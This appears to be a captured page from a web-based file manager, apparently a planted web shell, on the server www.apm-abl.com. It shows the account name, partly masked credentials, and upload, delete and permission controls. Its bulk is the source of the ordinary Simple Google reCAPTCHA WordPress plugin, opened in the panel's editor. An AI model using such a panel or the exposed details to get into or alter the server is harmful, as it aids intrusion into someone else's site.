🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_c86d0b07 / 352c****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: simple-google-recaptcha.tar
sgr_hide.css 0000644 00000000055 15136114132 0007037 0 ustar 00 .grecaptcha-badge { visibility: hidden; } entity.php 0000644 00000003243 15136114132 0006570 0 ustar 00 <?php namespace NovaMi\WordPress\SimpleGoogleRecaptcha; if (!defined('ABSPATH')) { die('Direct access not allowed'); } /** * Class Entity * @package NovaMi\WordPress\SimpleGoogleRecaptcha */ class Entity { /** @var string */ const PREFIX = 'sgr_'; /** @var int */ const INT = 1; /** @var int */ const STRING = 2; /** @var string */ const PAGE_QUERY = '?page=' . self::PREFIX . 'options'; /** @var string */ const VERSION = self::PREFIX . 'version'; /** @var string */ const LOGIN_DISABLE = self::PREFIX . 'login_disable'; /** @var string */ const BADGE_HIDE = self::PREFIX . 'badge_hide'; /** @var string */ const SITE_KEY = self::PREFIX . 'site_key'; /** @var string */ const SECRET_KEY = self::PREFIX . 'secret_key'; /** @var string */ const HASH = self::PREFIX . 'hash'; /** @var string */ private $name; /** @var int */ private $type; /** @var string|int */ private $value = ''; /** * @param string $name * @param int $type */ public function __construct(string $name, int $type = self::INT) { $this->name = $name; $this->type = $type; } /** * @return string */ public function getName(): string { return $this->name; } /** * @return int */ public function getType(): int { return $this->type; } /** * @return int|string */ public function getValue() { return $this->value; } /** * @param $value * @return void */ public function setValue($value) { $this->value = $value; } } sgr.js 0000644 00000002474 15136114132 0005701 0 ustar 00 function sgr_2() { console.log('SGR_2 loaded!'); let recaptcha = document.getElementsByClassName('sgr-main'); for (let i = 0; i < recaptcha.length; i++) { grecaptcha.render(recaptcha.item(i), {'sitekey': sgr.sgr_site_key}); } } function sgr_3() { console.log('SGR_3 loaded!'); let actionName = window.location.pathname; actionName = actionName.replace(/[^a-zA-Z/]/g, '_'); grecaptcha.execute(sgr.sgr_site_key, {action: 'sgr_' + actionName}).then(function (token) { let recaptcha = document.getElementsByClassName('sgr-main'); for (let i = 0; i < recaptcha.length; i++) { recaptcha.item(i).value = token; } }); setTimeout(sgr_3, 1000 * 60); } document.addEventListener('DOMContentLoaded', function (event) { let sgr_version = document.getElementById('sgr_version'); if (sgr_version) { console.log('SGR admin loaded!'); sgr_version.addEventListener('click', removeKeys); function removeKeys() { let sgr_site_key = document.getElementById('sgr_site_key'); let sgr_secret_key = document.getElementById('sgr_secret_key'); if (sgr_site_key.value === sgr.sgr_site_key) { sgr_site_key.value = ''; sgr_secret_key.value = ''; } } } }); readme.txt 0000644 00000020736 15136114132 0006547 0 ustar 00 === Simple Google reCAPTCHA === Contributors: Minor Tags: recaptcha, spam, protect, google, invisible Requires at least: 4.6 Tested up to: 6.0 Stable tag: 4.0 Requires PHP: 7.2 License: GPLv3 License URI: http://www.gnu.org/licenses/gpl-3.0.html Donate link: https://www.paypal.me/NovaMi Simply protect your WordPress against spam comments and brute-force attacks thanks to Google reCAPTCHA v3 or v2 Checkbox for free and without ads! == Description == Simple Google reCAPTCHA will protect your WordPress! You have choice between default v2 Checkbox and v3 (like invisible reCAPTCHA). No more spam comments and brute-force attacks against user accounts. Small plugin, only necessary code - no ads or tracking! Google reCAPTCHA verification will be required only for not logged in users. User, who newly setup the keys, will see (max for 10 days) emergency reCAPTCHA deactivate link - don't need FTP access to disable Simple Google reCAPTCHA in case of emergency now. = What is protected with reCAPTCHA? = * Login form * Registration form * Reset password form * Comment form * New password form = Thank you! = Thanks all of you, who are using this plugin, I really appreciate it! If you write me (on support forum etc.), be patient, please. I work on this plugin in my free time, it's only my hobby. == Installation == 1. Upload plugin folder under standard plugins directory "/wp-content/plugins/" or install through the WordPress Plugins page. 2. Activate plugin via WordPress Plugins page. 3. Insert reCAPTCHA v3 or v2 Checkbox keys. 4. Done, your WordPress is protected now! == Frequently Asked Questions == = Why to install this plugin? = * No ads, user tracking, send statistics neither survey * Only arround 20kB size (without readme file) * Google reCAPTCHA v3 (invisible) support * Possibility to replace v3 reCAPTCHA badge by text * reCAPTCHA language based on WordPress settings * Works in countries where Google domain is blocked * Emergency reCAPTCHA deactivate link for admin * Hooks - Possibility to customize where reCAPTCHA will be rendered and verified = In case you have a problem = 1. Important message could be shown in browser console (F12) on problematic page 2. Double check if you have correct keys in settings - is those keys for correct version reCAPTCHA? 3. Try to create new website in Google reCAPTCHA console (and use different website name) = How to disable this plugin? = Use standard WordPress Plugins page. In emergency case, rename plugin folder under /wp-content/plugins/ over FTP access or use emergency reCAPTCHA deactivate link. = How to use hooks? = For example, you can use this in your global functions.php file: <pre><code> function customSgrRenderList(array $list): array //Where reCAPTCHA is rendered { //unset($list[0]); $list[] = 'register_form'; return $list; } add_action('sgr_render_list', 'customSgrRenderList'); function customSgrVerifyList(array $list): array //Where reCAPTCHA is verified { //unset($list[0]); $list[] = 'lostpassword_post'; return $list; } add_action('sgr_verify_list', 'customSgrVerifyList'); </code></pre> Variable $list is array of default hooks, indexed by numbers. == Screenshots == 1. New comment 2. New password 3. Registration 4. Login 5. Settings 6. reCAPTCHA v3 text instead of badge 7. Emergency reCAPTCHA deactivate link == Changelog == = 4.0 = * Warning: I don't recommend Google reCAPTCHA v2. You should enable v3 in plugin settings (requires different keys)! * New: Hooks - sgr_render_list + sgr_verify_list. You are able to customize where Google reCAPTCHA will be rendered and verified - e.g. via functions.php. = 3.9 = * Bugfix: reCAPTCHA verification has been rewritten. More reliable and prevents brute force attacks now. = 3.8 = * Bugfix: Fix against rare error 'The response is no longer valid: either is too old or has been used previously.' for reCAPTCHA v3 * New: Class converted to singleton - for possibility to use Simple Google reCAPTCHA in custom hooks = 3.7 = * Bugfix: Important! Everybody who has version 3.6 should update as soon as possible! Fixed a bug with disappearing site&secret key. = 3.6 = * New: Emergency reCAPTCHA deactivate link = 3.5 = * Bugfix: More reliable reCAPTCHA injection (init action) * New: Dynamic action name to see stats in Google reCAPTCHA admin console for each page = 3.4 = * Bugfix: Translations works again correctly * New: Works in countries where Google domain is blocked * New: Possibility to replace v3 reCAPTCHA badge by text = 3.3 = * Bugfix: BuddyPress registration is now pass through * Bugfix: Other minor fixes = 3.2 = * Warning: Keys validation after save was not reliable, validation removed * New: Added support for Google reCAPTCHA v3 = 3.1 = * New: Keys validation after save * New: More detailed error messages * New: Plugin is disabled until you set correct keys = 3.0 = * Bugfix: User login (including password in plaintext) could get into server error log in specific case. = 2.9 = * New: Option for disable reCAPTCHA on login page * New: Error message instead of redirecting to the error page, besides the case of posting comments * Bugfix: Loading Js file on unique HTML element to avoid collision = 2.8 = * Warning: New logic - Google reCAPTCHA js file will be loaded in the background on every page for non logged in users * Warning: If Google reCAPTCHA verification fail, response code is 403 instead of 500 now. Thank you for contribution, Sara Kozińska! * Bugfix: WooCommerce problem (JSON.parse error) in checkout process has been fixed. I'm sorry for a really big delay! = 2.7 = * Bugfix: Loading of Google reCAPTCHA form failed in some rare cases = 2.6 = * Bugfix: Fatal error on websites running on PHP 5 = 2.5 = * Warning: Removed javascript function which disabling/enabling submit button If reCAPTCHA was passed, because of incompatibility with some websites in specific cases * Bugfix: WooCommerce - If you have activated login and register form on one page, reCAPTCHA verification is require too for register * New: Added uninstall script which clean settings from DB while uninstall process * New: If you activate plugin and site or secret key is empty, you will be redirect to settings page = 2.4 = * New: reCAPTCHA verification added on every page that allows comments (not bothering registered users) = 2.3 = * New: Added donate link, you can buy me a coffee now :-) * Bugfix: Plugin warnings on php7 - not quoted functions name = 2.2 = * Warning: Possibility to decide when reCAPTCHA will be shown was removed (not bothering registered users) * New: Including BuddyPress and WooCommerce support * Bugfix: Incompatibility with translations = 2.1 = * Bugfix: No more unnecessary loading reCAPTCHA on the other pages * Bugfix: No more reCAPTCHA window over Clef waves (if you are using Clef plugin) on the login page = 2.0 = * Warning: reCAPTCHA verification on the BuddyPress registration page has been removed * Warning: reCAPTCHA verification on the Add new comment form for logged in users has been removed * Warning: Due to keep Simple Google reCAPTCHA as simple as possible some configuration options were removed * New: Language settings of reCAPTCHA is based on WordPress locale now * New: Default WordPress submit buttons are disabled until reCAPTCHA isn't solved * New: Added reCAPTCHA for Resset password form * Update: Text corrections * Bugfix: reCAPTCHA verification just on the standard WordPress pages (unmodified by plugins/templates) = 1.9 = * Warning: Probably you will need to do a new translations * New: Possibility to set language of reCAPTCHA * Update: Minor updates for easier official translations = 1.8 = * New: reCAPTCHA verification on the BuddyPress registration page * Bugfix: Translatable back button "Zpět" = 1.7 = * New: You can choose where reCAPTCHA will be required * Bugfix: reCAPTCHA will be required only If a form has been submitted = 1.6 = * Bugfix: Name of settings has been changed - to avoid conflict with other plugins = 1.5 = * New: Possibility to disable reCAPTCHA in comment form for logged in users = 1.4 = * Update: Encoding has been converted from Windows to Unix * Update: Text corrections = 1.3 = * New: Added "Settings" button to WordPress plugins page * New: reCAPTCHA is required only after filled in settings * Update: Text domain has been changed from simple-google-recaptcha to sgr - need to set up keys again = 1.2 = * Update: Simple Google reCAPTCHA folder - unnecessary files were deleted = 1.1 = * Update: Screenshots * Update: Text corrections * Bugfix: Logged in users are able to post comments = 1.0 = * New: Simple Google reCAPTCHA has been released! uninstall.php 0000644 00000001301 15136114132 0007256 0 ustar 00 <?php namespace NovaMi\WordPress\SimpleGoogleRecaptcha; if (!defined('WP_UNINSTALL_PLUGIN')) { die('Direct access not allowed'); } /** * Class Uninstall * @package NovaMi\WordPress\SimpleGoogleRecaptcha */ class Uninstall { /** * @return void */ public static function run() { require_once dirname(__FILE__) . '/entity.php'; $constants = (new \ReflectionClass(Entity::class))->getConstants(); foreach ($constants as $constant) { $constPrefix = substr($constant, 0, strlen(Entity::PREFIX)); if ($constPrefix === Entity::PREFIX) { delete_option($constant); } } } } Uninstall::run(); simple-google-recaptcha.php 0000644 00000040450 15136114132 0011750 0 ustar 00 <?php /* * Plugin Name: Simple Google reCAPTCHA * Description: Simply protect your WordPress against spam comments and brute-force attacks, thanks to Google reCAPTCHA! * Version: 4.0 * Author: Michal Novák * Author URI: https://www.novami.cz * License: GPLv3 * Text Domain: simple-google-recaptcha */ namespace NovaMi\WordPress\SimpleGoogleRecaptcha; if (!defined('ABSPATH')) { die('Direct access not allowed!'); } /** * Class Core * @package NovaMi\WordPress\SimpleGoogleRecaptcha */ class Core { /** @var string */ const UPDATE = 'update'; /** @var string */ const DISABLE = 'disable'; /** @var string */ const SGR_ACTION = Entity::PREFIX . 'action'; /** @var Core */ public static $instance; /** @var string */ private $pluginName; /** @var Entity[] */ private $options; /** * Core constructor. */ private function __construct() { add_action('init', [$this, 'run']); add_action('activated_plugin', [$this, 'activation']); } /** * @return Core */ public static function getInstance(): Core { require_once dirname(__FILE__) . '/entity.php'; if (!self::$instance instanceof self) { self::$instance = new self(); } return self::$instance; } /** * @param int $type * @return int */ private function getOptionFilter(int $type): int { return $type === Entity::INT ? FILTER_SANITIZE_NUMBER_INT : FILTER_SANITIZE_FULL_SPECIAL_CHARS; } /** * @param string $id * @return int|string */ private function getOptionValue(string $id) { return $this->options[$id]->getValue() ?? ''; } /** * @param string $ext * @param string $name * @return void */ private function enqueue(string $ext = 'js', string $name = 'sgr') { $fileName = $name . '.' . $ext; $dirPath = plugin_dir_path(__FILE__) . $fileName; $dirUrl = plugin_dir_url(__FILE__) . $fileName; if ($ext === 'js') { wp_enqueue_script($name, $dirUrl, [], filemtime($dirPath)); wp_localize_script($name, $name, [Entity::SITE_KEY => $this->getOptionValue(Entity::SITE_KEY)]); } else { wp_enqueue_style($name, $dirUrl, [], filemtime($dirPath)); } } /** * @param array $atts * @return void */ public function displayInput(array $atts) { $key = $atts['key']; $type = $atts['type']; $val = $this->getOptionValue($key); if ($type === Entity::INT) { $defaultVal = $key === Entity::VERSION ? 3 : 1; echo sprintf('<input type="checkbox" name="%1$s" id="%1$s" value="%2$d" %3$s />', $key, $defaultVal, checked($defaultVal, $val, false)); } else { echo sprintf('<input type="text" name="%1$s" class="regular-text" id="%1$s" value="%2$s" />', $key, $val); } } /** * @return void */ public function run() { $this->pluginName = get_file_data(__FILE__, ['Name' => 'Plugin Name'])['Name']; $this->options = [ Entity::SITE_KEY => new Entity(__('Site Key', 'simple-google-recaptcha'), Entity::STRING), Entity::SECRET_KEY => new Entity(__('Secret Key', 'simple-google-recaptcha'), Entity::STRING), Entity::LOGIN_DISABLE => new Entity(__('Disable on login form', 'simple-google-recaptcha')), Entity::VERSION => new Entity(__('Enable reCAPTCHA v3', 'simple-google-recaptcha')), Entity::BADGE_HIDE => new Entity(__('Hide reCAPTCHA v3 badge', 'simple-google-recaptcha')) ]; $this->updateSettings(); /** * @var string $id * @var Entity $option */ foreach ($this->options as $id => $option) { $type = $option->getType(); $filter = $this->getOptionFilter($type); $filteredValue = filter_var(get_option($id), $filter); $option->setValue($type === Entity::INT ? intval($filteredValue) : strval($filteredValue)); } $this->disableProtection(); $this->enqueue(); $this->enqueue('css'); $this->frontend(); add_filter(sprintf('plugin_action_links_%s', plugin_basename(__FILE__)), [$this, 'actionLinks']); add_action('admin_menu', [$this, 'adminMenu']); } /** * @return void */ public function updateSettings() { $postAction = strval(filter_input(INPUT_POST, self::SGR_ACTION, FILTER_SANITIZE_SPECIAL_CHARS)); if ($postAction === self::UPDATE && current_user_can('manage_options')) { $hash = null; foreach ($this->options as $key => $option) { $postValue = filter_input(INPUT_POST, $key, $this->getOptionFilter($option->getType())); if ($postValue) { update_option($key, $postValue); if (substr($key, -strlen('_key')) === '_key') { $hash .= $postValue; } } else { delete_option($key); } } setcookie(Entity::HASH, md5($hash), time() + 60 * 60 * 24 * 10, '/'); echo sprintf('<div class="notice notice-success"><p><strong>%s</strong></p></div>', __('Settings saved!', 'simple-google-recaptcha')); } } /** * @param array $links * @return array */ public function actionLinks(array $links): array { return array_merge(['settings' => sprintf('<a href="options-general.php%s">%s</a>', Entity::PAGE_QUERY, __('Settings', 'simple-google-recaptcha'))], $links); } /** * @param string $plugin * @return void */ public function activation(string $plugin) { if ($plugin === plugin_basename(__FILE__) && (!get_option(Entity::SITE_KEY) || !get_option(Entity::SECRET_KEY))) { $adminUrl = admin_url('options-general.php' . Entity::PAGE_QUERY); exit(wp_redirect($adminUrl)); } } /** * @return void */ public function optionsPage() { echo sprintf('<div class="wrap"><h1>%s - %s</h1><form method="post" action="%s">', $this->pluginName, __('Settings', 'simple-google-recaptcha'), Entity::PAGE_QUERY); settings_fields(Entity::PREFIX . 'header_section'); do_settings_sections(Entity::PREFIX . 'options'); echo sprintf('<input type="hidden" name="%s" value="%s">', self::SGR_ACTION, self::UPDATE); submit_button(); echo sprintf('%s</form>%s</div>', PHP_EOL, $this->protectionStatus()); } /** * @return void */ public function adminMenu() { add_submenu_page('options-general.php', $this->pluginName, 'Google reCAPTCHA', 'manage_options', Entity::PREFIX . 'options', [$this, 'optionsPage']); add_action('admin_init', [$this, 'displayOptions']); } /** * @return void */ public function displayOptions() { add_settings_section(Entity::PREFIX . 'header_section', __('Google reCAPTCHA keys', 'simple-google-recaptcha'), [], Entity::PREFIX . 'options'); foreach ($this->options as $key => $option) { $args = ['key' => $key, 'type' => $option->getType()]; add_settings_field($key, $option->getName(), [$this, 'displayInput'], Entity::PREFIX . 'options', Entity::PREFIX . 'header_section', $args); register_setting(Entity::PREFIX . 'header_section', $key); } } /** * @return void */ public function enqueueScripts() { $apiUrlBase = sprintf('https://www.recaptcha.net/recaptcha/api.js?hl=%s', get_locale()); $jsUrl = sprintf('%s&onload=sgr_2&render=explicit', $apiUrlBase); if ($this->getOptionValue(Entity::VERSION) === 3) { $jsUrl = sprintf('%s&render=%s&onload=sgr_3', $apiUrlBase, $this->getOptionValue(Entity::SITE_KEY)); } wp_enqueue_script(Entity::PREFIX . 'recaptcha', $jsUrl, [], time()); } /** * @param array|null $list * @return array|string[] */ public function renderList(?array $list = []): array { $list ?: $list = [ 'bp_after_signup_profile_fields', 'comment_form_after_fields', 'lostpassword_form', 'register_form', 'woocommerce_lostpassword_form', 'woocommerce_register_form' ]; if (!$this->getOptionValue(Entity::LOGIN_DISABLE)) { array_push($list, 'login_form', 'woocommerce_login_form'); } return $list; } /** * @param array|null $list * @return array|string[] */ public function verifyList(?array $list = []): array { $list ?: $list = [ 'bp_signup_validate', 'lostpassword_post', 'preprocess_comment', 'registration_errors', 'woocommerce_register_post' ]; if (!$this->getOptionValue(Entity::LOGIN_DISABLE)) { $list[] = 'authenticate'; } return $list; } /** * @return void */ public function frontend() { $rcpActivate = !is_user_logged_in() && !wp_doing_ajax() && !function_exists('wpcf7_contact_form_shortcode'); $recaptchaSiteKey = $this->getOptionValue(Entity::SITE_KEY); $recaptchaSecretKey = $this->getOptionValue(Entity::SECRET_KEY); if ($rcpActivate && $recaptchaSiteKey && $recaptchaSecretKey) { add_action(Entity::PREFIX . 'display_list', [$this, 'renderList']); add_action(Entity::PREFIX . 'verify_list', [$this, 'verifyList']); foreach (apply_filters(Entity::PREFIX . 'render_list', self::renderList()) as $display) { add_action($display, [$this, 'enqueueScripts']); add_action($display, [$this, 'render']); } foreach (apply_filters(Entity::PREFIX . 'verify_list', self::verifyList()) as $verify) { add_action($verify, [$this, 'verify']); } } } /** * @return bool */ public function render(): bool { if ($this->adminCookieHash()) { $linkText = __('Emergency reCAPTCHA deactivate', 'simple-google-recaptcha'); echo sprintf('<p class="sgr-infotext"><a href="?%s=%s">%s</a></p>', self::SGR_ACTION, self::DISABLE, $linkText); } echo $this->getOptionValue(Entity::VERSION) === 3 ? self::v3Render() : '<div class="sgr-main"></div>'; return true; } /** * @return string */ private function v3Render(): string { $badgeReplacement = null; if ($this->getOptionValue(Entity::BADGE_HIDE)) { $this->enqueue('css', Entity::PREFIX . 'hide'); $msg = __('This site is protected by reCAPTCHA and the Google <a href="https://policies.google.com/privacy">Privacy Policy</a> and <a href="https://policies.google.com/terms">Terms of Service</a> apply.', 'simple-google-recaptcha'); $badgeReplacement = sprintf('%s<p class="sgr-infotext">%s</p>', PHP_EOL, $msg); } return sprintf('<input type="hidden" name="g-recaptcha-response" class="sgr-main">%s', $badgeReplacement); } /** * @return void */ private function disableProtection() { $getAction = strval(filter_input(INPUT_GET, self::SGR_ACTION, FILTER_SANITIZE_SPECIAL_CHARS)); if ($getAction === self::DISABLE && $this->adminCookieHash()) { $keys = [ Entity::SITE_KEY, Entity::SECRET_KEY ]; foreach ($keys as $key) { delete_option($key); $this->options[$key]->setValue(''); } } } /** * @param string|null $error_code * @return string */ private function errorMessage(?string $error_code): string { switch ($error_code) { case 'missing-input-secret': return __('The secret parameter is missing.', 'simple-google-recaptcha'); case 'missing-input-response': return __('The response parameter is missing.', 'simple-google-recaptcha'); case 'invalid-input-secret': return __('The secret parameter is invalid or malformed.', 'simple-google-recaptcha'); case 'invalid-input-response': return __('The response parameter is invalid or malformed.', 'simple-google-recaptcha'); case 'bad-request': return __('The request is invalid or malformed.', 'simple-google-recaptcha'); case 'timeout-or-duplicate': return __('The response is no longer valid: either is too old or has been used previously.', 'simple-google-recaptcha'); default: return __('Unknown error.', 'simple-google-recaptcha'); } } /** * @param string $response * @return array */ private function responseParse(string $response): array { $secretKey = $this->getOptionValue(Entity::SECRET_KEY); $rcpUrl = sprintf('https://www.recaptcha.net/recaptcha/api/siteverify?secret=%s&response=%s', $secretKey, $response); $response = wp_remote_get($rcpUrl); $failedResponse = [ 'success' => false, 'error-codes' => ['general-fail'] ]; if ($response instanceof \WP_Error) { $failedResponse['error-msg'] = $response->get_error_message(); unset($response); } return isset($response['body']) ? (array)json_decode($response['body'], 1) : $failedResponse; } /** * @param string $msg * @return void */ private function wpDie(string $msg) { $error = __('Error', 'simple-google-recaptcha'); $verificationFailed = __('verification failed', 'simple-google-recaptcha'); $errorParams = ['response' => 403, 'back_link' => 1]; wp_die(sprintf('<p><strong>%s:</strong> Google reCAPTCHA %s. %s</p>', $error, $verificationFailed, $msg), 'Forbidden by reCAPTCHA', $errorParams); } /** * @param $input * @return mixed|void */ public function verify($input) { if (!empty($_POST)) { $response = strval(filter_input(INPUT_POST, 'g-recaptcha-response', FILTER_SANITIZE_FULL_SPECIAL_CHARS)); $parsedResponse = $this->responseParse($response); $errorCode = $parsedResponse['error-codes'][0] ?? null; if (($parsedResponse['success'] ?? null) !== true || $errorCode) { $this->wpDie($parsedResponse['error-msg'] ?? $this->errorMessage($errorCode)); } else { if ($this->getOptionValue(Entity::VERSION) === 3 && floatval($parsedResponse['score'] ?? 0) < 0.5) { $this->wpDie(__('You are probably not a human!', 'simple-google-recaptcha')); } return $input; } } } /** * @return string */ public function protectionStatus(): string { $class = 'warning'; $name = __('Notice', 'simple-google-recaptcha'); $status = __('is enabled', 'simple-google-recaptcha'); $msg = __('Keep on mind, that in case of emergency, you can disable this plugin via FTP access, just rename the plugin folder.', 'simple-google-recaptcha'); if (!$this->getOptionValue(Entity::SITE_KEY) || !$this->getOptionValue(Entity::SECRET_KEY)) { $class = 'error'; $name = __('Warning', 'simple-google-recaptcha'); $status = __('is disabled', 'simple-google-recaptcha'); $msg = __('You have to <a href="https://www.google.com/recaptcha/admin" rel="external">register your domain</a>, get required Google reCAPTCHA keys %s and save them bellow.', 'simple-google-recaptcha'); } $type = $this->getOptionValue(Entity::VERSION) === 3 ? 'v3' : 'v2 "I\'m not a robot" Checkbox'; return sprintf('<div class="notice notice-%s"><p><strong>%s:</strong> Google reCAPTCHA %s!</p><p>%s</p></div>', $class, $name, $status, sprintf($msg, $type)); } /** * @return bool */ public function adminCookieHash(): bool { $cookieHash = filter_input(INPUT_COOKIE, Entity::HASH, FILTER_SANITIZE_SPECIAL_CHARS); return $cookieHash === md5($this->getOptionValue(Entity::SITE_KEY) . $this->getOptionValue(Entity::SECRET_KEY)); } } Core::getInstance(); sgr.css 0000644 00000000344 15136114132 0006047 0 ustar 00 .sgr-main { transform: scale(0.895); transform-origin: 0 0; clear: both; padding: 10px 0 5px 0; } p.sgr-infotext { padding-bottom: 15px; font-size: 85%; } .grecaptcha-badge { visibility: visible; }
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar